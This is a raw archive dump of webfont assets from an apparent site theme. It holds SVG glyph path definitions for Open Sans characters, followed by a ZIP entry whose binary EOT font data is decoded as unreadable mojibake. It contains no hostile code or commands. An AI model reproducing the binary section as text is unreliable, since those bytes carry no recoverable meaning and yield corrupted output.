<glyph unicode="&#xea;" horiz-adv-x="1210" d="M92 551q0 281 140.5 434.5t388.5 153.5q237 0 369 -135t132 -373v-148h-721q5 -130 77 -203t202 -73q101 0 191 21t188 67v-236q-80 -40 -171 -59.5t-222 -19.5q-270 0 -422 149t-152 422zM408 686h428q-2 113 -59 174.5t-154 61.5t-152 -61.5t-63 -174.5zM194 1241v27 q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xeb;" horiz-adv-x="1210" d="M92 551q0 281 140.5 434.5t388.5 153.5q237 0 369 -135t132 -373v-148h-721q5 -130 77 -203t202 -73q101 0 191 21t188 67v-236q-80 -40 -171 -59.5t-222 -19.5q-270 0 -422 149t-152 422zM408 686h428q-2 113 -59 174.5t-154 61.5t-152 -61.5t-63 -174.5zM297 1405 q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM700 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xec;" horiz-adv-x="625" d="M160 0v1118h305v-1118h-305zM-101 1548v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xed;" horiz-adv-x="625" d="M160 0v1118h305v-1118h-305zM145 1241v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xee;" horiz-adv-x="625" d="M160 0v1118h305v-1118h-305zM-122 1241v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xef;" horiz-adv-x="625" d="M160 0v1118h305v-1118h-305zM-29 1405q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM374 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z " />
<glyph unicode="&#xf0;" horiz-adv-x="1268" d="M92 489q0 233 130 369.5t351 136.5q205 0 275 -98l8 4q-67 162 -192 281l-230 -142l-100 156l176 107q-80 53 -152 92l101 176q144 -65 258 -141l225 139l100 -154l-170 -104q156 -143 230 -324.5t74 -413.5q0 -280 -145 -436.5t-400 -156.5q-245 0 -392 137t-147 372z M403 487q0 -140 60 -211t172 -71q123 0 176 82t53 245q0 108 -61 173t-168 65q-121 0 -176.5 -68.5t-55.5 -214.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1346" d="M160 0v1118h233l41 -143h17q51 81 140.5 122.5t203.5 41.5q195 0 296 -105.5t101 -304.5v-729h-305v653q0 121 -43 181.5t-137 60.5q-128 0 -185 -85.5t-57 -283.5v-526h-305zM258 1239q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26 t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#xf2;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM237 1548v21 h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM467 1241v27 q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xf4;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM198 1241v27 q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xf5;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM219 1239 q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#xf6;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q161 0 284 -70t189 -201t66 -307q0 -273 -144 -427t-401 -154q-161 0 -284 70.5t-189 202.5t-66 308zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM291 1405 q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM694 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xf7;" d="M88 612v219h993v-219h-993zM444 373q0 76 37 113.5t103 37.5t102.5 -39t36.5 -112q0 -70 -37 -111t-102 -41t-102.5 39t-37.5 113zM444 1071q0 75 37 113.5t103 38.5q67 0 103 -40.5t36 -111.5q0 -70 -37 -110.5t-102 -40.5t-102.5 39t-37.5 112z" />
<glyph unicode="&#xf8;" horiz-adv-x="1268" d="M92 561q0 274 143 426t402 152q132 0 248 -52l55 82l152 -108l-58 -84q142 -155 142 -416q0 -273 -144 -427t-401 -154q-126 0 -234 45l-67 -101l-154 105l68 100q-152 156 -152 432zM403 561q0 -94 19 -166l317 475q-43 23 -106 23q-122 0 -176 -82.5t-54 -249.5z M543 240q38 -15 92 -15q122 0 175.5 84.5t53.5 251.5q0 81 -12 141z" />
<glyph unicode="&#xf9;" horiz-adv-x="1346" d="M154 389v729h305v-653q0 -121 43 -181.5t137 -60.5q128 0 185 85.5t57 283.5v526h305v-1118h-234l-41 143h-16q-49 -78 -139 -120.5t-205 -42.5q-197 0 -297 105.5t-100 303.5zM245 1548v21h342q63 -101 235 -301v-27h-202q-63 44 -185 142.5t-190 164.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1346" d="M154 389v729h305v-653q0 -121 43 -181.5t137 -60.5q128 0 185 85.5t57 283.5v526h305v-1118h-234l-41 143h-16q-49 -78 -139 -120.5t-205 -42.5q-197 0 -297 105.5t-100 303.5zM498 1241v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z" />
<glyph unicode="&#xfb;" horiz-adv-x="1346" d="M154 389v729h305v-653q0 -121 43 -181.5t137 -60.5q128 0 185 85.5t57 283.5v526h305v-1118h-234l-41 143h-16q-49 -78 -139 -120.5t-205 -42.5q-197 0 -297 105.5t-100 303.5zM235 1241v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203 q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#xfc;" horiz-adv-x="1346" d="M154 389v729h305v-653q0 -121 43 -181.5t137 -60.5q128 0 185 85.5t57 283.5v526h305v-1118h-234l-41 143h-16q-49 -78 -139 -120.5t-205 -42.5q-197 0 -297 105.5t-100 303.5zM326 1405q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5 q-64 0 -101.5 35t-37.5 98zM729 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1165" d="M0 1118h334l211 -629q27 -82 37 -194h6q11 103 43 194l207 629h327l-473 -1261q-65 -175 -185.5 -262t-281.5 -87q-79 0 -155 17v242q55 -13 120 -13q81 0 141.5 49.5t94.5 149.5l18 55zM393 1241v27q172 200 235 301h342v-21q-52 -52 -177.5 -154.5t-196.5 -152.5h-203z " />
<glyph unicode="&#xfe;" horiz-adv-x="1296" d="M160 -492v2048h305v-391l-7 -120l-7 -72h14q50 81 131 123.5t186 42.5q198 0 310 -154.5t112 -423.5q0 -273 -111.5 -427t-310.5 -154q-213 0 -317 137h-14l7 -62l7 -94v-453h-305zM465 563q0 -180 53.5 -258t169.5 -78q205 0 205 338q0 165 -50.5 247.5t-158.5 82.5 q-113 0 -165 -69.5t-54 -229.5v-33z" />
<glyph unicode="&#xff;" horiz-adv-x="1165" d="M0 1118h334l211 -629q27 -82 37 -194h6q11 103 43 194l207 629h327l-473 -1261q-65 -175 -185.5 -262t-281.5 -87q-79 0 -155 17v242q55 -13 120 -13q81 0 141.5 49.5t94.5 149.5l18 55zM243 1405q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5 t-103 -36.5q-64 0 -101.5 35t-37.5 98zM646 1405q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#x131;" horiz-adv-x="625" d="M160 0v1118h305v-1118h-305z" />
<glyph unicode="&#x152;" horiz-adv-x="1993" d="M119 735q0 363 169.5 556.5t487.5 193.5q61 0 127 -7t101 -16h868v-254h-563v-321h526v-254h-526v-377h563v-256h-873q-38 -9 -109 -14.5t-116 -5.5q-319 0 -487 197t-168 558zM438 733q0 -244 86 -368.5t250 -124.5q65 0 126 10.5t99 28.5v907q-35 19 -101.5 30 t-121.5 11q-166 0 -252 -125.5t-86 -368.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2003" d="M92 561q0 277 141.5 427.5t399.5 150.5q112 0 212 -39.5t171 -116.5q144 156 383 156q244 0 380 -135t136 -373v-148h-746v-8q7 -127 81.5 -197.5t207.5 -70.5q107 0 200 21t193 67v-236q-81 -39 -175.5 -59t-229.5 -20q-271 0 -420 155q-141 -155 -391 -155 q-162 0 -286 70t-190.5 202t-66.5 309zM403 561q0 -166 54.5 -251t177.5 -85q122 0 175.5 84.5t53.5 251.5q0 166 -54 249t-177 83q-122 0 -176 -82.5t-54 -249.5zM1178 686h450q-2 111 -60.5 173.5t-162.5 62.5q-94 0 -156 -57.5t-71 -178.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1278" d="M0 1462h336l303 -602l305 602h334l-485 -893v-569h-308v559zM297 1743q0 65 37.5 100t101.5 35q66 0 103.5 -37t37.5 -98q0 -60 -38 -96.5t-103 -36.5q-64 0 -101.5 35t-37.5 98zM700 1743q0 70 40.5 102.5t100.5 32.5q65 0 103.5 -36t38.5 -99q0 -61 -39 -97t-103 -36 q-60 0 -100.5 32.5t-40.5 100.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1243" d="M186 1241v27q189 189 256 301h357q31 -52 107.5 -141.5t148.5 -159.5v-27h-203q-157 93 -234 176q-78 -81 -229 -176h-203z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M340 1477q0 108 67.5 172.5t180.5 64.5q110 0 182 -66t72 -169q0 -108 -71 -174t-183 -66t-180 64t-68 174zM492 1477q0 -45 24 -71t72 -26q42 0 69 26t27 71t-27 70.5t-69 25.5t-69 -25.5t-27 -70.5z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1243" d="M207 1239q11 145 82.5 227t189.5 82q41 0 80.5 -16.5t78 -36t75.5 -35.5t73 -16q31 0 59.5 26t41.5 80h149q-11 -145 -83.5 -227t-188.5 -82q-41 0 -80.5 16.5t-78 36t-75.5 36t-73 16.5q-31 0 -59.5 -26.5t-41.5 -80.5h-149z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="659" d="M61 424v250h537v-250h-537z" />
<glyph unicode="&#x2011;" horiz-adv-x="659" d="M61 424v250h537v-250h-537z" />
<glyph unicode="&#x2012;" horiz-adv-x="659" d="M61 424v250h537v-250h-537z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M82 436v230h860v-230h-860z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M82 436v230h1884v-230h-1884z" />
<glyph unicode="&#x2018;" horiz-adv-x="444" d="M25 983q22 91 72.5 228.5t103.5 250.5h219q-66 -267 -101 -501h-280z" />
<glyph unicode="&#x2019;" horiz-adv-x="444" d="M25 961q69 296 100 501h281l14 -22q-50 -197 -176 -479h-219z" />
<glyph unicode="&#x201a;" horiz-adv-x="596" d="M63 -264q65 266 101 502h280l15 -23q-52 -202 -176 -479h-220z" />
<glyph unicode="&#x201c;" horiz-adv-x="911" d="M25 983q22 91 72.5 228.5t103.5 250.5h219q-66 -267 -101 -501h-280zM492 983q22 91 72.5 228.5t103.5 250.5h219q-66 -267 -101 -501h-280z" />
<glyph unicode="&#x201d;" horiz-adv-x="911" d="M25 961q69 296 100 501h281l14 -22q-50 -197 -176 -479h-219zM492 961q69 296 100 501h280l15 -22q-50 -197 -176 -479h-219z" />
<glyph unicode="&#x201e;" horiz-adv-x="1061" d="M63 -264q65 266 101 502h280l15 -23q-52 -202 -176 -479h-220zM530 -264q65 266 101 502h280l15 -23q-52 -202 -176 -479h-220z" />
<glyph unicode="&#x2022;" horiz-adv-x="770" d="M98 748q0 154 74 235.5t213 81.5q137 0 212 -82t75 -235q0 -152 -75.5 -235t-211.5 -83q-138 0 -212.5 83t-74.5 235z" />
<glyph unicode="&#x2026;" horiz-adv-x="1751" d="M117 143q0 84 45 127t131 43q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5zM700 143q0 84 45 127t132 43q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-85 0 -131 44.5t-46 125.5zM1284 143q0 84 45 127t131 43 q83 0 128.5 -44t45.5 -126q0 -79 -46 -124.5t-128 -45.5q-84 0 -130 44.5t-46 125.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="754" d="M82 547v26l371 455l219 -119l-279 -348l279 -348l-219 -119z" />
<glyph unicode="&#x203a;" horiz-adv-x="754" d="M82 213l278 348l-278 348l219 119l371 -455v-26l-371 -453z" />
<glyph unicode="&#x2044;" horiz-adv-x="266" d="M-393 0l811 1462h239l-811 -1462h-239z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="776" d="M12 737v154l385 577h236v-563h125v-168h-125v-151h-238v151h-383zM197 905h198v164q0 86 6 184q-9 -26 -35.5 -80t-41.5 -77z" />
<glyph unicode="&#x20ac;" d="M66 481v178h118q-4 23 -4 62l2 53h-116v176h133q37 242 199 382.5t405 140.5q188 0 352 -82l-98 -232q-69 31 -129 48.5t-125 17.5q-122 0 -201 -70.5t-102 -204.5h403v-176h-418l-2 -35v-47l2 -33h355v-178h-338q51 -243 321 -243q143 0 275 57v-256q-116 -59 -293 -59 q-245 0 -403 133t-199 368h-137z" />
<glyph unicode="&#x2122;" horiz-adv-x="1534" d="M16 1313v149h564v-149h-199v-572h-168v572h-197zM625 741v721h247l160 -510l170 510h240v-721h-168v408l4 121h-6l-174 -529h-142l-165 529h-7l4 -111v-418h-163z" />
<glyph unicode="&#xe000;" horiz-adv-x="1120" d="M0 1120h1120v-1120h-1120v1120z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1417" d="M41 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5v-70h264v-229h-264v-889h-305v889h-168zM940 1407q0 149 166 149t166 -149q0 -71 -41.5 -110.5t-124.5 -39.5q-166 0 -166 150zM953 0v1118h305v-1118h-305z " />
<glyph unicode="&#xfb02;" horiz-adv-x="1417" d="M41 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5v-70h264v-229h-264v-889h-305v889h-168zM953 0v1556h305v-1556h-305z" />
<glyph unicode="&#xfb03;" horiz-adv-x="2208" d="M41 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5v-70h264v-229h-264v-889h-305v889h-168zM834 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5 v-70h264v-229h-264v-889h-305v889h-168zM1730 1407q0 149 166 149t166 -149q0 -71 -41.5 -110.5t-124.5 -39.5q-166 0 -166 150zM1743 0v1118h305v-1118h-305z" />
<glyph unicode="&#xfb04;" horiz-adv-x="2208" d="M41 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5v-70h264v-229h-264v-889h-305v889h-168zM834 889v147l168 82v82q0 191 94 279t301 88q158 0 281 -47l-78 -224q-92 29 -170 29q-65 0 -94 -38.5t-29 -98.5 v-70h264v-229h-264v-889h-305v889h-168zM1743 0v1556h305v-1556h-305z" />
</font>
</defs></svg> PK!�X鿊w�w>bluetheme/assets/fonts/OpenSans/OpenSans-ExtraBold-webfont.eotnu&1i��w�v	 LP��[ @(� ��Open SansExtraboldVersion 1.10&Open Sans ExtraboldFFTM_��*GDEF( OS/2�ۜ�H`cmap�\l���cvt 
�<�.fpgm�/��egasp4glyfMz�]<ehead���(kT6hhea�k�$hmtxBAkk��loca��ڴoh�maxp�qH name'Cqh�post- �s8�prep>���v �ɉo1�������� �3�3�f	��@ [(1ASC  ����X �m� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�m�?+3D�^��1.)8����,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-�����<�+�
+�+�
+�/�ִ
+��+�
+�	+013!%!!�J�x����Jh�R���K�+�
/�+�/�ֱ
��
+��/�3�
�+��
99��901!!4632#"&R�3��/lgfimbcp��N��[ee[Zeey���L�+�3�+�2�+�+�/�ִ
+��+�
+�	+��9901!!!!yd)���d)�������%'�f�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ִ
+��+�
+�
+�@	+�+�
+�/�
+�
+�@	+��+�
+�!+�6�>��c+
�>��Z+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@015!7#!!3!3!3!!#!%37#%�HJ�HI����J��I�G��H<�������{��{�����y��y���P��h+,��/�3�!�!
+�@	+�/�+��2�-/�ְ2�	��+�2�
+�2��$+�	�.+��(9��!99�$�9��	99�!�9��	$9��99��,90146753&#"#5&'32654.'.P�����wѨPA/tgѶ�����tgUO9�q�G����W��^'&!+5#J������
XL;O)0!.:)/u�%��o�'3��+�%+�++�+�+�+�1%
+�+�	 ��+�4/�ִ
+��+�
+��+�(
+�(�.+�"
+�5+��	999��9�(�9�.�%999�	+�"(.$9��$9014632#"&%32654&#"!	4632#"&%32654&#"%ı��Ʒ��-&&&%%&'%J+)���ı��Ƕ��-&&+!!+'%������sfdusfh����J�������sfudduhH��o�(3��+�+�#�+�1��4/�ֱ � �) ��
�/�)
� �.+�
�5+� �9�)�'9�.�#999��&$9�#�9�1�'+$901%.5463267!!'#".%3267'>54&#"H>E������K��Q@�cZs�\���ZJ9V�RZX9<9+*?��F�c����o�S�s����c��f9+l˜?P�=MKP Y/1+2y���"�+�+�/�ִ
+�+01!!yd)�����J����
�/�ֱ
�+��99017!!&J��F~��������F"ҥ��&��+����7����
�/�ֱ
�+��9901!!677F������~��>ߦ�(���1���	٣-=!!%%--\'/&d%�����{����#e`��e������H�=�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	
+�2�	

+�@		+�
	
+�@
	+�
+01!!!!!Ht
t����Lo����i9��+%�/�+�/�ֱ
�	+��90167!9;VaO��Wg���+�`�"�/����/�+�+�+01!+5�8��V���f(�	/�+�+�/�ֱ��
+0174632#"&Vmhcjm`cr�\dd\Zed
����!
!Z���!H��h�D�	+��+���/�ֱ	��+�	�+��	99��9901! ! 32654&#"H������>IJ=>II>��l�����|��yt�����üT��
%�+�+�/�ֱ�+��901!!47T�d�o%7���J�u-1�-b�S�+��+���/�ֱ	�
+�@	+�
+�@	+�+��9��999��901>32!!>54&#"-q��q��{+Z��)��e�^%JCE�Y�eW.d�sV����
��i�uT.9BOMF��\�'u�%+��+��
%
+�
��(/�ְ2�	�
+�@	+��"�)+�� 99�%�9��"99�
� 99��99��901732654.+3 54&#">32!"&F`�T�w>�oZ\-YK���t����n����v�;H1/IN<A!)�:8^PD����,.����"#��
b�	+�+�
	
+�3�
�2�/�	ְ2�	�2�	
+�@	+�	
+�@		+�+�	�99�
�9��901!3#!35467##`m���z��"+"y�����'�0�MC^��R�T�+��+��

+���/�ֱ�+��99��9�
�999��
9901732654&#"'!!>32! ^W�Onvxz]l�7B�NB~�q���;D(4][T^#H���u֌���F��q�"q�+��+�	� 
+���#/�ֱ	�
��+�	�$+��
99��99��	999� �99��9�	�901$32&#"3632# %32654#"F�U�Ywdu��	Z�������RC?O�DUj2{����Ū����P�`{_h�\Nm�"�+�+���/�+��901!!N���g�mG�5mD��o�"-x�+��	+�+��./�ֱ
� ��#
��+�
�� ��(	�(/�	�/+��9�(#�	 $9��9�+� %$901467.54$32# $%3254&'>54&#"Dz�tk��y��������jXN�McYM3uG4F13F��IN�k����t�A\�j����>K�1_;/_~VB)D+0:;5��m�$o�	+��+�"�	
+���%/�ֱ	��+�	�&+��	999��99��999��9��9�"�990143 !"'3267##"&%32654&#"5�&���i�FVV��
'LnR��FHA`YDAQ�������S��
9��H@"��Ra^BY�^V���{3�+�+�	/�+�/�ְ2��2��+0174632#"&4632#"&Vmhcjm`crngcjlafo�\dd\Zedq[dd[Zff9��{9�+�+�/�ֱ�2��
�/�+��$90167!4632#"&9;VaO�khdklcfm��Wg����[deZZfeH�;5H�ls������Hf?;�/��/���/�	+01!!H��	�f�����H�;7%Hl���'�)������%]�+��#/�+�&/�ֱ � +�
�'+��
#$9� �	9��9��999��9016!2!5467>54&#"4632#"&��q|i5��PfQGL=��qkhdko`cp=�ĩy�OD?+3Vb�@3R5*1k�y\de[[dcR�f��5A��+�&+�3/�-+�/�3�9+� 2�?/�+�B/�ִ*
+�*�+�6
+�6�#+�
+�C+�#6@	&-03=$9�-3�19��09�9�9�?�#*$9��9014$!2#"&'##"&54>3232654#"!2$7! 326?&#"R����g�a�nO�$k���|�Q�Q14A���t
���|�E�I<MH
(lb��ٲ��ڍ�?8w���u!�Z^V���������2.�_��dZ|�����,�+�3�+�
+���/�+��
9011!!!!'.'��PH�%J�7??
	5��D��V�P�73���g�+��+��
+��� /�ֱ�2��+�� ���!+��	99��9��	99��9013! !3254&+32654+��*!~g�z������c^�wU]�o���{�
$����1�IN!FE{h����=�+��+�
��/�ֱ
�+��9�
�999��9014$32.#"!267# h�A���yQ�]��Aa�\������X�g��&4��Z6&��Q��w�8�+�	�+���/�ֱ	�	�
+��+�	�9013! !32654&+��`�m��NX����s��������tD������R�+�	�+��
+���/�ִ+�2�+�2�	�2�	
+�@		+�
+013!!!!!�d�'��J����������	@�+�+��
+���
/�ֱ		�2�	
+�@		+�@		+�+013!!!!�`�%��J������h��`�x�+��+�	�
+���/�ֱ��+�
�
+�@	+�+��	999��99��9��99�	�9��901!2&#"3275!!! h�l��[}������XJ��w��������b�4(��N�����1��X����?�+�3�+�3�

+���/�ֱ�2��+�2��
+013!!!!!�����s�5����JT���+�!�+�+�/�ֱ��+013!����J�^�53�-�+�/���/�ֱ	�+��9��9013265!!"'� H*bT�����la�v�I�������
0�+�	3�+�3�/�ֱ
�2�+��99013!67!	!��[3��3�B��u���;���q��/F��\�,�+��+�/�ֱ�
+�@	+�+013!!��3���������+�333�+�33�/�ֱ
��+�
��
�/�+�6�™�+
�.�������=��I+
�.���
����
....�
........�@��9��9013!3!!467#!#�1+��	�����	����J�2z������R�+�	3�+�3�/�ֱ
��+�
�+��99��
99��99��99013!3&5!!#�`����	��݆��J�mh����D�	+��+���/�ֱ��+��+��	99��9901! ! !2654&# hm\]h���������'�������m����������o�X�������
B�+�+��	
+�	��/�ֱ
�2�
�+��+��9013! !#32654+�����oHYi�f������'dX�h���]�+��
+�@
	+�+���/�ֱ��+��+��
999��9��9��9901! !'5' !2654&# hm\]h��e��������'�������m��������eE�o�X�������N�+�3�+���/�ֱ�2��+��+��	9��99��	999013! !#3254+��T���@��dJ��N��P������=��Z��Z�&g�$+��+���'/�ֱ	��+� �2�(+��9��$$9� �99�$�9�� $9��901732654.'.54$!2&#"#"&Zq�fXR!I���E&��y͕MFYŽ�������H`:A=0-.GAz�l��i��^6(+DZUÔ��u)3��:�+�+��2�/�ֱ�
+�@	+�
+�@	+�	+01!!!3T���usC����s���y�7�+��+�
3�/�ֱ��	+��+�	�901!3265!! ��tqym�������=y������X�����2��+�+�+�3�/�ִ	+�
+��901!>7!!��>*���!�/���aF�<�J1�9�+�3�+�33�/�ֱ	��+�	�+�6�>P�h+
������������+
����
��������+
������
��>��+��+�
�
�
+��
+��+��+�>��s+��+� � �#9�9@

..............@

..............�@��9��99��9��901!67!6!!.'!}�6
C�n} B
:�}���-�
+
$#��-��#�f^s)�ׅ��Vo�J}(�PA������&�+�3�+�3�/�
+��
99013	!!	!	�8���1�7�����<��3�7P�0�+�+�3�	/�ֱ�
+��9��901!!!������r�������/=��	.�+��+���
/�+��9��90135!!!=y��T�����?�|��u��h�=�/��/���	/�ִ
+�2�
�
+�2�
+��901!#3u����7���%����!!Z!���!/��#�F�/��/���	/�ְ2�
+��
�/��
+�/�
+��9013#5!!/���Z;���%���N�3!������||��:A��������{�/�+�+�/�+01!!������!	�/���
/�+��9015!!&$�4�;��E��F�B,�J��y�!��+�+��+�� 
+�+�"/�ֱ��+�2�	�#+��	
999��99��9��99� �9��9��	9��
90146?54#"6!2!'##"&%326=J�j|�q�.���KO�����oGeZ�Z���Tf���bH��hZHX����!n�+�3�+��	+��	
+�@		+�"/�ֱ	�2��+��#+��999��	99��9��9�	�9013!3>32#".'#3265#"��9�_����?bM3>VLVEJ�RL��?�XN�����08o+�y��rzV���=�+��+�	��/�ֱ�+��9�	�999��901!2.#"327# V6ŮsGxA_hɬ�����16V��%����d��d,V���!y�
+�+�+��
+�@
	+�"/�ֱ��	+�	��
�/�#+�	�$9��999��
9�
�$9��9901323&5!!'##"&%326754&#"V��_�;���Te�y�c�VP^MV\MU58LZ��/�쏣����v{��V����@�+��+��
+�+�/�+��9��9��901! !3267# !.#"V"
�E�qg�e\Ĉ����PYKE]/3����_l'/��/$-�RbW-�[�+�+��2�/���/�ְ2�	�2�
+�@	+�
+�@	+�+��9��
9��	9015754632&#"3#!-���N�\THE-)��yH�`���7>���H���(5>��&+�,+�+�=+�3 &
+�3�8&
+�8+�?/�ֱ6
� ��)
�)� ��
+�/�
+�6�/+�#
�#� ��;
�;/�
